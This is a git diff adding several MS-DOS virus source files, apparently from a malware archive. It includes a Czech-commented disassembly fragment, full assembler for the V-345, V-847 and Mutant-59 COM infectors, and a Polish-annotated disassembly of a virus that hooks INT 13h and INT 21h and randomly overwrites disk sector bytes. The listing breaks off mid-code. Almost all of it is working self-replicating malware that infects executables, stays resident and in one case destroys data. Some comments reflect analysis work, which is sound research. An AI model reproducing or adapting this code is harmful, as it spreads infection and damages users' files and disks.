; 404h-64h byte od konce +024A 3B161E04 CMP DX,[041E] ; souboru +024E 7501 JNZ 0251 ; neni => nenakazeno +0250 C3 RET ; je => nakazeno -> konec +; soubor jeste nenakazen, ja ho nakazim + +0251 33C9 XOR CX,CX ; +0253 8BD1 MOV DX,CX ; nastaveni ukazatele +0255 B80242 MOV AX,4202 ; v souboru na konec +0258 E88A01 CALL 03E5 ; +025B 813E04044D5A CMP [0404],5A4D +0261 7409 JZ 026C ; EXE +; COM +0263 050406 ADD AX,0604 ; +0266 83D200 ADC DX,0000 ; soubor+vir < 64KB ? +0269 7419 JZ 0284 ; +026B C3 RET ; prelezl by -> konec +; EXE +026C 8B161C04 MOV DX,[041C] ; +0270 F6DA NEG DL ; posun ukazatele za soubor +0272 83E20F AND DX,000F ; tak, aby jeho nova delka +0275 33C9 XOR CX,CX ; byla nasobkem 10h +0277 B80142 MOV AX,4201 ; +027A E86801 CALL 03E5 ; +027D A31C04 MOV [041C],AX ; uschova nove zaokrouhlene +0280 89161E04 MOV [041E],DX ; delky +0284 B80057 MOV AX,5700 ; cti datum a cas vytvoreni souboru +0287 E85B01 CALL 03E5 ; +028A 9C PUSHF ; +028B 51 PUSH CX ; uschova casu +028C 52 PUSH DX ; uschova data +028D 813E04044D5A CMP [0404],5A4D +0293 7405 JZ 029A +; COM +0295 B80001 MOV AX,0100 ; startovni adresa COM +0298 EB07 JMP 02A1 +; EXE +029A A11804 MOV AX,[0418] ; EXEIP +029D 8B161A04 MOV DX,[041A] ; ReloCS +; spolecne +02A1 BFF403 MOV DI,03F4 ; +02A4 AB STOSW ; uschova start. adr +02A5 8BC2 MOV AX,DX ; +02A7 AB STOSW ; +02A8 A11404 MOV AX,[0414] ; +02AB AB STOSW ; uschova zasobniku +02AC A11204 MOV AX,[0412] ; (smysl jen u EXE) +02AF AB STOSW ; +02B0 A12004 MOV AX,[0420] ; dolni slovo delky pgmu +02B3 AB STOSW ; +02B4 A10804 MOV AX,[0408] ; PageCnt +02B7 AB STOSW ; (smysl jen u EXE) +02B8 BE0404 MOV SI,0404 ; +02BB A5 MOVSW ; uschova prvnich 4 byte +02BC A5 MOVSW ; souboru +02BD 33D2 XOR DX,DX ; +02BF B90404 MOV CX,0404 ; pripojeni vira k souboru +02C2 B440 MOV AH,40 ; (404h byte) +02C4 E81E01 CALL 03E5 ; +02C7 7227 JC 02F0 ; chyba -> konec +02C9 33C8 XOR CX,AX +02CB 7523 JNZ 02F0 ; nezapsan prislusny pocet byte +02CD 8BD1 MOV DX,CX ; +02CF B80042 MOV AX,4200 ; nastaveni ukazatele na +02D2 E81001 CALL 03E5 ; zacatek souboru +02D5 813E04044D5A CMP [0404],5A4D +02DB 7415 JZ 02F2 +; COM +02DD C6060404E9 MOV [0404],E9 ; +02E2 A11C04 MOV AX,[041C] ; nove prvni 3 byty +02E5 056100 ADD AX,0061 ; viru (novy start) +02E8 A30504 MOV [0405],AX ; +02EB B90300 MOV CX,0003 ; pocet byte k nahrani +02EE EB5A JMP 034A + +02F0 EB60 JMP 0352 ; konec +; EXE +02F2 A10C04 MOV AX,[040C] ; +02F5 E86900 CALL 0361 ; +02F8 F7D0 NOT AX ; +02FA F7D2 NOT DX ; +02FC 40 INC AX ; vypocet nove +02FD 7501 JNZ 0300 ; startovni adresy +02FF 42 INC DX ; pro EXE soubor +0300 03061C04 ADD AX,[041C] ; +0304 13161E04 ADC DX,[041E] ; +0308 B91000 MOV CX,0010 ; +030B F7F1 DIV CX ; +030D C70618046400 MOV [0418],0064 ; +0313 A31A04 MOV [041A],AX ; +0316 054100 ADD AX,0041 ; +0319 A31204 MOV [0412],AX ; novy zasobnik +031C C70614040001 MOV [0414],0100 ; +0322 81061C040404 ADD [041C],0404 ; +0328 83161E0400 ADC [041E],0000 ; +032D A11C04 MOV AX,[041C] ; +0330 25FF01 AND AX,01FF ; +0333 A30604 MOV [0406],AX ; +0336 9C PUSHF ; vypocet nove delky +0337 A11D04 MOV AX,[041D] ; souboru do hlavicky +033A D02E1F04 SHR B/[041F],1 ; EXE +033E D1D8 RCR AX,1 ; +0340 9D POPF ; +0341 7401 JZ 0344 ; +0343 40 INC AX ; +0344 A30804 MOV [0408],AX ; +0347 B91800 MOV CX,0018 ; pocet byte k nahrani +034A BA0404 MOV DX,0404 ; nahraje novy zacatek souboru +034D B440 MOV AH,40 ; COM: prvni 3 byty +034F E89300 CALL 03E5 ; EXE: prvnich 18h byte +0352 5A POP DX ; dx:=datum +0353 59 POP CX ; cx:=cas +0354 9D POPF +0355 7206 JC 035D ; chyba +0357 B80157 MOV AX,5701 ; obnova data a casu +035A E88800 CALL 03E5 ; vytvoreni souboru +035D C3 RET + +; Ŀ +; NOVY INT 24h +; +; instalovan docasne, pouze v dobe nakazy +035E B003 MOV AL,03 +0360 CF IRET +; +; vstup: ax +; vystup: dx:ax:=ax*10h +0361 BA1000 MOV DX,0010 +0364 F7E2 MUL DX +0366 C3 RET +; +0367 9C PUSHF +0368 50 PUSH AX +0369 1E PUSH DS +036A 06 PUSH ES +036B 33C0 XOR AX,AX +036D 8ED8 MOV DS,AX ; ds:=0; +036F C406A000 LES AX,[00A0] ; es:ax:=^INT 28h +0373 E84C00 CALL 03C2 +0376 7436 JZ 03AE +0378 C4068000 LES AX,[0080] ; es:ax:=^INT 20h +037C E84300 CALL 03C2 +037F 742D JZ 03AE +0381 C4069C00 LES AX,[009C] ; es:ax:=^INT 27h +0385 E83A00 CALL 03C2 +0388 7424 JZ 03AE +038A C4069800 LES AX,[0098] ; es:ax:=^INT 26h +038E E83100 CALL 03C2 +0391 741B JZ 03AE +0393 C4062400 LES AX,[0024] ; es:ax:=^INT 9h +0397 E82800 CALL 03C2 +039A 7412 JZ 03AE +039C C4064C00 LES AX,[004C] ; es:ax:=^INT 13h +03A0 E81F00 CALL 03C2 +03A3 7409 JZ 03AE +03A5 C4068400 LES AX,[0084] ; es:ax:=^INT 21h +03A9 E81600 CALL 03C2 +03AC 750F JNZ 03BD +03AE 26C4062312 LES AX,ES:[1223] +03B3 2E8984F003 MOV CS:[03F0+SI],AX +03B8 2E8C84F203 MOV CS:[03F2+SI],ES +03BD 07 POP ES +03BE 1F POP DS +03BF 58 POP AX +03C0 9D POPF +03C1 C3 RET +; +03C2 26813E601C3D0F CMP ES:[1C60],0F3D ; CMP AX, 0Fxx +03C9 7519 JNZ 03E4 +03CB 26813E641C05B8 CMP ES:[1C64],B805 ; ADD AX, B8xx +03D2 7510 JNZ 03E4 +03D4 26813E681C9DCF CMP ES:[1C68],CF9D ; POPF, IRET +03DB 7507 JNZ 03E4 +03DD 26813E6C1C3E28 CMP ES:[1C6C],283E ; SUB DS: +03E4 C3 RET +; volani puvodniho int 21h +03E5 9C PUSHF +03E6 2EFF1EF003 CALL Far CS:[03F0] +03EB C3 RET + +03EC 53FF00F0 DD ? ; adresa puvodniho int 1ch +03F0 75032F14 DD ? ; adr. puv. int 21h +03F4 0001 DW ? ; EXEIP +03F6 F80E DW ? ; ReloCS +03F8 0074 DW ? ; EXESP +03FA 3D02 DW ? ; ReloSS +03FC BC62 DW ? ; dolni slovo delky puv. pgmu +03FE DA0A DW ? ; PageCnt +0400 E92D0DBA DB ?,?,?,? ; puvodni ctyri byty + +; toto jiz neni soucasti vira +; pripojeneho k souboru. +; Tato tabulka vznika pri behu +; hlavicka EXE +0404 DW ? ; sign +0406 DW ? ; PartPag +0408 DW ? ; PageCnt +040A DW ? ; ReloCnt +040C DW ? ; HdrSize +040E DW ? ; MinMem +0410 DW ? ; MaxMem +0412 DW ? ; ReloSS +0414 DW ? ; EXESP +0416 DW ? ; ChkSum +0418 DW ? ; EXEIP +041A DW ? ; ReloCS + +041C DW ? ; dolni slovo delky pgmu zaokrouhleno +041E DW ? ; horni slovo delky pgmu +0420 DW ? ; dolni slovo delky diff --git a/MSDOS/Virus.MSDOS.Unknown.v-345.asm b/MSDOS/Virus.MSDOS.Unknown.v-345.asm new file mode 100644 index 00000000..a7067cd2 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.v-345.asm @@ -0,0 +1,134 @@ + page ,132 + name V345 + title V-345 - a mutation of the V-845 virus + .radix 16 +code segment + assume cs:code,ds:code + org 100 + +timer equ 6C +olddta equ 80 +virlen = offset endcode - offset start +newid = offset ident - offset start + +start: + jmp short virus + +ident dw 'VI' +counter db 0 +allcom db '*.COM',0 +progbeg dd ? +eof dw ? +newdta db 2C dup (?) +fname equ offset newdta+1E + +virus: + push ax + mov ax,cs ;Move program code + add ax,1000 ; 64K bytes forward + mov es,ax + inc [counter] + mov si,offset start + xor di,di + mov cx,virlen + rep movsb + + mov dx,offset newdta ;Set new Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + mov dx,offset allcom ;Search for '*.COM' files + mov cx,110b ;Normal, Hidden or System + mov ah,4E ;Find First file + int 21 + jc done ;Quit if none found + +mainlp: + mov dx,fname + mov ax,3D02 ;Open file in Read/Write mode + int 21 + mov bx,ax ; Save handle + push es + pop ds + mov dx,virlen + mov cx,0FFFF ;Read all bytes (64K max in .COM file) + mov ah,3F ;Read from handle + int 21 ;Bytes read in AX + add ax,virlen + mov cs:[eof],ax ;Save pointer to the end of file + cmp ds:[newid+virlen],'VI' ;Infected? + je close ;Go find next file if so + + xor cx,cx ;Go to file beginning + mov dx,cx + mov ax,4200 ;LSEEK from the beginning of the file + int 21 + jc close ;Leave this file if error occures + + xor dx,dx ;Write the whole code (virus+file) + mov cx,cs:[eof] ; back onto the file + mov ah,40 ;Write to handle + int 21 + +close: + mov ah,3E ;Close the file + int 21 + + push cs + pop ds ;Restore DS + mov ah,4F ;Find next matching file + int 21 + jc done ;Exit if all found + jmp mainlp ;Otherwise loop again + +done: + mov dx,olddta ;Restore old Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + + cmp [counter],5 ;If counter goes above 5, + jb progok ; the program becomes "sick" + mov ax,40 + mov ds,ax ;Get the system timer value + mov ax,word ptr [timer] + push cs + pop ds ;Restore DS + and ax,1 ;At random (if timer value is odd) + jz progok ; display the funny message + mov dx,offset message + mov ah,9 ;Print string + int 21 + int 20 ;Terminate program + +message db 'Program sick error:Call doctor or ' + db 'buy PIXEL for cure description',0A,0Dh,'$' + +progok: + mov si,offset transf ;Move this part of code + mov cx,offset endcode - offset transf ;Code length + xor di,di ;Move to ES:0 + rep movsb ;Do it + + pop bx ; BX = old AX + mov word ptr cs:[progbeg],0 + mov word ptr cs:[progbeg+2],es ;Point progbeg at program start + jmp cs:[progbeg] ;Jump at program start + +transf: + push ds + pop es + mov si,offset endcode + mov di,offset start + mov cx,0FFFF ;Restore original program's code + sub cx,si + rep movsb + mov word ptr cs:[start],offset start + mov word ptr cs:[start+2],ds + mov ax,bx + jmp dword ptr cs:[start] ;Jump to program start +endcode label byte + + int 20 ;Dummy program + +code ends + end start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.v-847.asm b/MSDOS/Virus.MSDOS.Unknown.v-847.asm new file mode 100644 index 00000000..b9c4899e --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.v-847.asm @@ -0,0 +1,150 @@ + page ,132 + name V847 + title The V-847 virus + .radix 16 +code segment + assume cs:code,ds:code + org 100 + +timer equ 6C +olddta equ 80 +virlen equ offset endcode - offset start +smalcod equ offset endcode - offset transf +buffer equ offset endcode + 100 +newdta equ offset endcode + 10 +fname = newdta + 1E +virlenx = offset endcode - offset start +newid = offset ident + virlenx + 100 + +start: + jmp virus + +ident dw 'VI' +counter db 0 +allcom db '*.COM',0 +vleng dw 44F ;Unused +progbeg dd 10000h +eof dw ? +handle dw ? + +virus: + mov ax,cs ;Move program code + add ax,1000 ; 64K bytes forward + mov es,ax + inc [counter] + mov si,offset start + xor di,di + mov cx,virlen + rep movsb + + mov dx,newdta ;Set new Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + mov dx,offset allcom ;Search for '*.COM' files + mov cx,110b ;Normal, Hidden or System + mov ah,4E ;Find First file + int 21 + jc done ;Quit if none found + +mainlp: + mov dx,offset fname + mov ax,3D02 ;Open file in Read/Write mode + int 21 + mov [handle],ax ;Save handle + mov bx,ax + push es + pop ds + mov dx,buffer + mov cx,0FFFF ;Read all bytes + mov ah,3F ;Read from handle + int 21 ;Bytes read in AX + add ax,buffer + mov cs:[eof],ax ;Save pointer to the end of file + db 3E ;Force DS: prefix + cmp [newid],'VI' ;Infected? + je close ;Go find next file + + xor cx,cx ;Go to file beginning + mov dx,cx + mov bx,cs:[handle] + mov ax,4200 ;LSEEK from the beginning of the file + int 21 + jc close ;Leave this file if error occures + + mov dx,0 ;Write the whole code (virus+file) + mov cx,cs:[eof] ; back onto the file + mov bx,cs:[handle] + mov ah,40 ;Write to handle + int 21 + +close: + mov bx,cs:[handle] + mov ah,3E ;Close the file + int 21 + + push cs + pop ds ;Restore DS + mov ah,4F ;Find next matching file + mov dx,newdta + int 21 + jc done ;Exit if all found + jmp mainlp ;Otherwise loop again + +done: + mov dx,olddta ;Restore old Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + + cmp [counter],5 ;If counter goes above 5, + jb progok ; the program becomes "sick" + mov ax,40 + mov ds,ax ;Get the system timer value + mov ax,word ptr ds:[timer] + push cs + pop ds ;Restore DS + and ax,1 ;At random (if timer value is odd) + jz progok ; display the funny message + mov dx,offset message + mov ah,9 ;Print string + int 21 + int 20 ;Terminate program + +message db 'Program sick error:Call doctor or ' + db 'buy PIXEL for cure description',0A,0Dh,'$' + +progok: + mov si,offset transf ;Move this part of code + mov cx,smalcod ;Code length + xor di,di ;Move to ES:0 + rep movsb ;Do it + + xor di,di ;Clear DI + mov word ptr cs:[progbeg],0 + mov word ptr cs:[progbeg+2],es ;Point progbeg at program start + jmp cs:[progbeg] ;Jump at program start + +transf: + push ds + pop es + mov si,buffer+100 + cmp [counter],1 + jne skip + sub si,200 +skip: + mov di,offset start + mov cx,0FFFF ;Restore original program's code + sub cx,si + rep movsb + mov word ptr cs:[start],offset start + mov word ptr cs:[start+2],ds + jmp dword ptr cs:[start] ;Jump to program start +endcode label byte + + int 20 ;Dummy program + int 20 ;??? + + dw 0 ;Unused + +code ends + end start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.v1.asm b/MSDOS/Virus.MSDOS.Unknown.v1.asm new file mode 100644 index 00000000..da8439aa --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.v1.asm @@ -0,0 +1,143 @@ + .model tiny +VStart equ BegVir +VEnd equ LastByte +Len equ VEnd-VStart +LenPar equ (Len/10h)+1 + .code + org 100h +Start: jmp BegVir + nop + nop + nop + mov dx,offset Stri + mov ah,9 + int 21h + mov ax,4c00h + int 21h +Stri db 'This is Mutant-59 shtamp.',13,10,36 +BegVir: call $+3 +Go: pop bp ;VirusEntry+3 + mov si,bp + sub bp,3 + Add si,(hbyte-go) + mov di,100h + mov cx,3 + cld + rep movsb + mov ax,9219h + int 21h + cmp ax,1992h + jne Install +GoOut: mov si,100h + push si + ret + db 0E9h ;JMPNear For Exchange +HByte db 90h,90h,90h +Install: + push ds + push es + mov ax,ds + dec ax +checj: jmp short first +next: cmp byte ptr es:[0],4Dh + jne Nodo + add ax,es:[3] +first: mov es,ax + inc ax + cmp byte ptr es:[0],5ah + jne next + mov bx,es:3 + sub bx,LenPar + jc nodo + mov es:[3],bx + sub word ptr es:[12H],LenPar + add ax,bx + mov es,ax + xor di,di + mov si,bp + mov cx,Len + cld + rep movsb ;Remove Virus + mov bx,es + xor ax,ax + mov ds,ax + mov di,Int_o-BegVir + mov si,84h + movsw + movsw + mov es,ax + mov di,1D0h + mov si,84h + movsw + movsw + mov di,84h + mov word ptr ds:[di],Int21-BegVir + mov ds:[di+2],bx + +NoDo: pop es + pop ds + jmp GoOut + +Int21: cmp ax,9219h + je I2 + cmp ah,4bh + jne nu + call Zaraza +Nu: db 0EAh +Int_O dw ? +Int_S dw ? +i2: xchg al,ah + iret +Zaraza: push ax + push bx + push cx + push dx + push si + push bp + push ds + mov ax,3D02H + int 074h + jc j + mov bx,ax + push cs + pop ds + mov ah,3Fh + mov cx,3 + mov dx,HByte-BegVir + mov si,dx + int 074h + cmp byte ptr [si],'M' + jz i + mov ax,4202h + xor cx,cx + xor dx,dx + int 074h + sub ax,3 + mov bp,ax + mov cx,LastByte-BegVir + sub ax,cx + cmp ax,[si+1] + jz i + mov ah,40h + int 074h + mov ax,4200h + xor cx,cx + int 074h + mov ah,40h + lea dx,[si-1] + mov cl,3 + mov [si],bp + int 074h +i: mov ah,3Eh + int 074h +j: pop ds + pop bp + pop si + pop dx + pop cx + pop bx + pop ax + ret +LastByte: + End Start + diff --git a/MSDOS/Virus.MSDOS.Unknown.v1385.asm b/MSDOS/Virus.MSDOS.Unknown.v1385.asm new file mode 100644 index 00000000..e196371b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.v1385.asm @@ -0,0 +1,905 @@ +;------------------------------------------------- +; Virus +; +; dissasembled by Andrzej Kadlof July 1991 +; +; (C) Polish section of Virus Information Bank +;------------------------------------------------ + +0100 E97801 JMP 027B + +; old INT 13h vector + +0103 7A0F +0105 7000 + +;==================== +; INT 13h handler + +0107 9C PUSHF +0108 50 PUSH AX +0109 53 PUSH BX +010A 51 PUSH CX +010B 52 PUSH DX +010C 1E PUSH DS +010D 06 PUSH ES +010E 57 PUSH DI + +010F 0E PUSH CS +0110 1F POP DS +0111 50 PUSH AX +0112 B000 MOV AL,00 +0114 3D0002 CMP AX,0200 ; request: read sectors? +0117 58 POP AX ; restore oryginal function number +0118 7571 JNZ 018B ; no, exit + +011A 80F900 CMP CL,00 ; first sector number (illegal) +011D 7518 JNZ 0137 ; not zero, not virus question + +011F 81FF3412 CMP DI,1234 ; question from new copy of virus +0123 7512 JNZ 0137 ; no + +; prepare answer for the question from next virsus copy + +0125 5F POP DI +0126 BF2143 MOV DI,4321 ; answer: I'm here! +0129 58 POP AX +012A 58 POP AX +012B A19901 MOV AX,[0199] ; old INT 21h +012E 50 PUSH AX +012F A19B01 MOV AX,[019B] +0132 50 PUSH AX +0133 57 PUSH DI +0134 EB55 JMP 018B ; exit +0136 90 NOP + +; check cylinder number, if not 4x + 2 or 4x + 3 then exit (x arbitrary) + +0137 51 PUSH CX +0138 81E100FC AND CX,FC00 +013C 80FD00 CMP CH,00 +013F 59 POP CX +0140 7449 JZ 018B ; exit + +; check time condition + +0142 51 PUSH CX +0143 52 PUSH DX +0144 B80000 MOV AX,0000 +0147 FB STI +0148 CD1A INT 1A ; read the clock + +014A 81E2FF0F AND DX,0FFF ; low word of tick count since reset +014E 83FA00 CMP DX,+00 ; about 3.7 min +0151 5A POP DX +0152 59 POP CX +0153 7536 JNZ 018B ; exit + +;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> +; +; DESTRUCTION! change one byte on the sector on the next track +; +;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> + +0155 9C PUSHF +0156 0E PUSH CS ; segment of return address +0157 B86601 MOV AX,0166 ; offset of return address +015A 50 PUSH AX +015B B80102 MOV AX,0201 ; read 1 sector +015E 80C501 ADD CH,01 ; next track +0161 2EFF2E0301 JMP DWORD PTR CS:[0103] ; CALL FAR INT 13h + +0166 7223 JB 018B ; exit + +; get random number between 0 and 1FFh (minimal buffer size) + +0168 51 PUSH CX +0169 52 PUSH DX +016A B80000 MOV AX,0000 +016D FB STI +016E CD1A INT 1A ; read the clock + +0170 81E2FF01 AND DX,01FF ; low word of tick count since reset + +; change one byte inside buffer + +0174 53 PUSH BX ; offset of buffer +0175 03DA ADD BX,DX ; random byte in buffer +0177 26880F MOV ES:[BX],CL ; undefined value (first sector) +017A 5B POP BX ; restore buffer address + +; write buffer back to disk + +017B 5A POP DX ; disk/head +017C 59 POP CX ; track/sector +017D 9C PUSHF +017E 0E PUSH CS ; segment of return address +017F B88B01 MOV AX,018B ; offset of return address +0182 50 PUSH AX +0183 B80103 MOV AX,0301 ; write 1 sector +0186 2EFF2E0301 JMP DWORD PTR CS:[0103] ; CALL FAR INT 13h + +; exit to old INT 13h + +018B 5F POP DI +018C 07 POP ES +018D 1F POP DS +018E 5A POP DX +018F 59 POP CX +0190 5B POP BX +0191 58 POP AX +0192 9D POPF +0193 2EFF2E0301 JMP DWORD PTR CS:[0103] ; INT 13h +0198 90 NOP + +;--------------- +; working area + +; old INT 21h vector + +0199 9E10 +019B 1801 + +019D 26 0D ; segment of environment block +019F 80 00 ; address of command line +01A1 2B 0D ; CS +01A3 5C 00 ; first FCB in PSP +01A5 2B 0D ; CS +01A7 6C 00 ; second FCB in PSP +01A9 2B 0D ; CS +01AB CF 01 ; runtime SP + +01AD 2B 0D ; old SS, CS +01AF 02 19 ; old SP + +;------------ +; local stack + +01B1 9D01 +01B3 857F +01B5 FF58 +01B7 2B0D +01B9 2F01 +01BB E37F +01BD D300 +01BF 0001 +02C1 2C00 +01C3 260D +02C5 2B0D +01C7 430C +01C9 2903 +01CB 2B0D +01CD 02F2 + +; end of local stack +;------------------- + +01CF 90 NOP +01D0 90 NOP + +;===================== +; INT 21h handler + +01D1 9C PUSHF +01D2 56 PUSH SI +01D3 50 PUSH AX +01D4 53 PUSH BX +01D5 51 PUSH CX +01D6 52 PUSH DX +01D7 1E PUSH DS +01D8 06 PUSH ES +01D9 57 PUSH DI +01DA 80FC4B CMP AH,4B ; load and execute +01DD 7555 JNZ 0234 ; exit + +01DF 1E PUSH DS +01E0 52 PUSH DX +01E1 0E PUSH CS +01E2 1F POP DS +01E3 C70698036906 MOV WORD PTR [0398],0669 ; virus length +01E9 E8E203 CALL 05CE ; intercept INT 24h and prepare local DTA + +01EC 5F POP DI +01ED 07 POP ES +01EE 06 PUSH ES +01EF 57 PUSH DI +01F0 B80000 MOV AX,0000 +01F3 B98000 MOV CX,0080 +01F6 F2AE REPNZ SCASB +01F8 83F900 CMP CX,+00 +01FB 7432 JZ 022F + +01FD 4F DEC DI +01FE B05C MOV AL,5C ; '\' +0200 4F DEC DI +0201 AE SCASB +0202 75F9 JNZ 01FD + +0204 57 PUSH DI +0205 59 POP CX +0206 5E POP SI +0207 1F POP DS +0208 0E PUSH CS +0209 07 POP ES +020A BF6906 MOV DI,0669 ; buffer (area behind virus code) +020D AC LODSB +020E AA STOSB +020F 3BF1 CMP SI,CX +0211 75FA JNZ 020D + +0213 0E PUSH CS +0214 1F POP DS +0215 893EA203 MOV [03A2],DI +0219 BEAC03 MOV SI,03AC +021C B90600 MOV CX,0006 +021F AC LODSB +0220 AA STOSB +0221 E2FC LOOP 021F + +0223 BA6906 MOV DX,0669 +0226 E87302 CALL 049C ; find and infect one COM file + +0229 E8D703 CALL 0603 ; restore DTA and INT 24h + +022C EB06 JMP 0234 ; exit +022E 90 NOP + +022F 58 POP AX +0230 58 POP AX +0231 E8CF03 CALL 0603 ; restore DTA and INT 24h + +; exit to old INT 21h + +0234 90 NOP +0235 5F POP DI +0236 07 POP ES +0237 1F POP DS +0238 5A POP DX +0239 59 POP CX +023A 5B POP BX +023B 58 POP AX +023C 5E POP SI +023D 9D POPF +023E 2EFF2E9901 JMP DWORD PTR CS:[0199] +0243 90 NOP + +;------------------------ +; prepare Load & Execute + +0244 8CC0 MOV AX,ES +0246 8BE8 MOV BP,AX +0248 8BD7 MOV DX,DI ; offset of victim name +024A 8CC8 MOV AX,CS +024C 8EC0 MOV ES,AX ; segment of victim name +024E BB9D01 MOV BX,019D ; run parameters +0251 06 PUSH ES +0252 53 PUSH BX +0253 8CC8 MOV AX,CS ; block segment +0255 8EC0 MOV ES,AX +0257 BBD300 MOV BX,00D3 ; block size in paragraphs +025A B44A MOV AH,4A ; resize memory block + +025C CD21 INT 21 + +; free environment block + +025E BF2C00 MOV DI,002C ; address of environment block in PSP +0261 8E05 MOV ES,[DI] ; segment of environment +0263 B80049 MOV AX,4900 ; free memory block +0266 CD21 INT 21 + +0268 5B POP BX +0269 07 POP ES +026A 58 POP AX +026B 8C0EAD01 MOV [01AD],CS +026F 8E16AD01 MOV SS,[01AD] +0273 8B26AB01 MOV SP,[01AB] +0277 8EDD MOV DS,BP +0279 50 PUSH AX +027A C3 RET + +;=========================== +; virus entry point + +; look for resident part of virus in RAM +; on system with 3 floppy drives this test may hang the computer +; (unspecified I/O buffer BX) + +027B B203 MOV DL,03 ; third floppy drive +027D B600 MOV DH,00 ; head 0 +027F B100 MOV CL,00 ; first sector 0 +0281 B500 MOV CH,00 ; track +0283 B80102 MOV AX,0201 ; read 1 sector +0286 BF3412 MOV DI,1234 ; is already in memory? +0289 CD13 INT 13 + +028B 81FF2143 CMP DI,4321 ; expected answer +028F 7503 JNZ 0294 ; memory is clear + +0291 E92601 JMP 03BA ; exit + +; intercept INT 21h and INT 13h + +0294 B82135 MOV AX,3521 ; get INT 21h +0297 CD21 INT 21 + +0299 891E9901 MOV [0199],BX +029D 8C069B01 MOV [019B],ES +02A1 BAD101 MOV DX,01D1 +02A4 B82125 MOV AX,2521 ; set INT 21h +02A7 CD21 INT 21 + +02A9 B435 MOV AH,35 ; get INT 13h +02AB B013 MOV AL,13 +02AD CD21 INT 21 + +02AF 891E0301 MOV [0103],BX +02B3 8C060501 MOV [0105],ES +02B7 B425 MOV AH,25 ; set INT 13h +02B9 B013 MOV AL,13 +02BB BA0701 MOV DX,0107 +02BE CD21 INT 21 + +; prepare Load & Execute + +02C0 BF2C00 MOV DI,002C ; address of environment in PSP +02C3 8B05 MOV AX,[DI] +02C5 A39D01 MOV [019D],AX +02C8 8C0EA101 MOV [01A1],CS +02CC C7069F018000 MOV WORD PTR [019F],0080 ; command line +02D2 8C0EA501 MOV [01A5],CS +02D6 C706A3015C00 MOV WORD PTR [01A3],005C ; first FCB in PSP +02DC 8C0EA901 MOV [01A9],CS +02E0 C706A7016C00 MOV WORD PTR [01A7],006C ; second FCB + +; look for program name (DOS 3.x or higher) + +02E6 FC CLD +02E7 BF2C00 MOV DI,002C ; segment of environment block +02EA 8E05 MOV ES,[DI] +02EC BF0000 MOV DI,0000 ; start of environment + +02EF B80000 MOV AX,0000 ; end of block marker +02F2 B90080 MOV CX,8000 ; maxim block size +02F5 2BCF SUB CX,DI ; end of block +02F7 7230 JB 0329 ; not found + +02F9 F2AE REPNZ SCASB +02FB B80000 MOV AX,0000 +02FE AE SCASB +02FF 75EE JNZ 02EF + +0301 B80100 MOV AX,0001 +0304 AE SCASB +0305 7522 JNZ 0329 + +0307 B80000 MOV AX,0000 +030A AE SCASB +030B 751C JNZ 0329 + +030D E834FF CALL 0244 ; prepare Load & Execute + +0310 B8004B MOV AX,4B00 ; load and execute +0313 E86F00 CALL 0385 ; INT 21h + +; clear environment block + +0316 0E PUSH CS +0317 1F POP DS +0318 BF2C00 MOV DI,002C ; environment +031B B80000 MOV AX,0000 ; end of block marker +031E 8905 MOV [DI],AX ; start of block +0320 BAD300 MOV DX,00D3 ; size of virus block in paragraphs +0323 B80031 MOV AX,3100 ; terminate and state resident +0326 E85C00 CALL 0385 ; far call to INT 21h + +; victim name not found (DOS < 3.0) +; execute command >C:\COMMAND.COM /P + +0329 E818FF CALL 0244 ; prepare Load & Execute +032C 0E PUSH CS +032D 1F POP DS +032E BA7603 MOV DX,0376 ; 'c:\command.com',0 +0331 57 PUSH DI +0332 BF8000 MOV DI,0080 ; command line +0335 C705022F MOV WORD PTR [DI],2F02 ; 2, '/' +0339 C74502500D MOV WORD PTR [DI+02],0D50 ; 'P', CR +033E 5F POP DI +033F B8004B MOV AX,4B00 ; load and execute +0342 E84000 CALL 0385 ; far call to INT 21h + +0345 B86300 MOV AX,0063 ; 'c' +0348 57 PUSH DI +0349 BF7603 MOV DI,0376 ; 'c:\command.com',0 +034C 8805 MOV [DI],AL +034E 5F POP DI +034F B8004B MOV AX,4B00 ; load and execute +0352 E83000 CALL 0385 ; far call to INT 21h + +; restore INT 13h + +0355 B81325 MOV AX,2513 ; set INT 13h +0358 8B160301 MOV DX,[0103] +035C FF360501 PUSH [0105] +0360 1F POP DS +0361 CD21 INT 21 + +; restore INT 13h + +0363 B82125 MOV AX,2521 +0366 8B169901 MOV DX,[0199] +036A FF369B01 PUSH [019B] +036E 1F POP DS +036F CD21 INT 21 + +0371 0E PUSH CS +0372 1F POP DS +0373 EB45 JMP 03BA +0375 90 NOP + +0376 63 3A 5C 43 4F 4D 4D 41 4E 44 2E 43 4F 4D 00 ; c:\COMMAND.COM + +;--------------------- +; FAR CALL to INT 21h + +0385 2E8F069603 POP CS:[0396] ; offset of caller +038A 9C PUSHF ; prepare jump to INT 21h +038B 0E PUSH CS ; segment of return address +038C 2EFF369603 PUSH CS:[0396] ; offset of return addres +0391 2EFF2E9901 JMP DWORD PTR CS:[0199] ; CALL FAR INT 13h + +;-------------- +; working area + +0396 96 05 ; place for offset of return address +0398 60 D2 ; length of victim +039A 80 00 ; old DTA offset +039C C2 0A ; old DTA segment +039E 00 00 ; counter ? +03A0 00 00 ; DS +03A2 FA CC ; working, end of path +03A4 50 41 54 48 3D ; PATH= +03A9 61 3A 5C 2A 2E 63 6F 6D 00 ; a:\*.com, 0 + +; old INT 24h + +03B2 49 01 ; offset +03B4 48 09 ; segment + +;================== +; INT 24h handler + +03B6 90 NOP +03B7 B003 MOV AL,03 +03B9 CF IRET + +;--------------------------------- +; virus alredy resident, continue + +03BA 06 PUSH ES +03BB 1E PUSH DS +03BC 0E PUSH CS +03BD 1F POP DS +03BE 8F069901 POP [0199] ; old INT 21h offset +03C2 8F069B01 POP [019B] ; old INT 21h segment +03C6 E80502 CALL 05CE ; prepare INT 24h and DTA + +03C9 BEA903 MOV SI,03A9 ; address of 'a:\*.com, 0' +03CC 8B3E9803 MOV DI,[0398] ; buffer outside viruse code 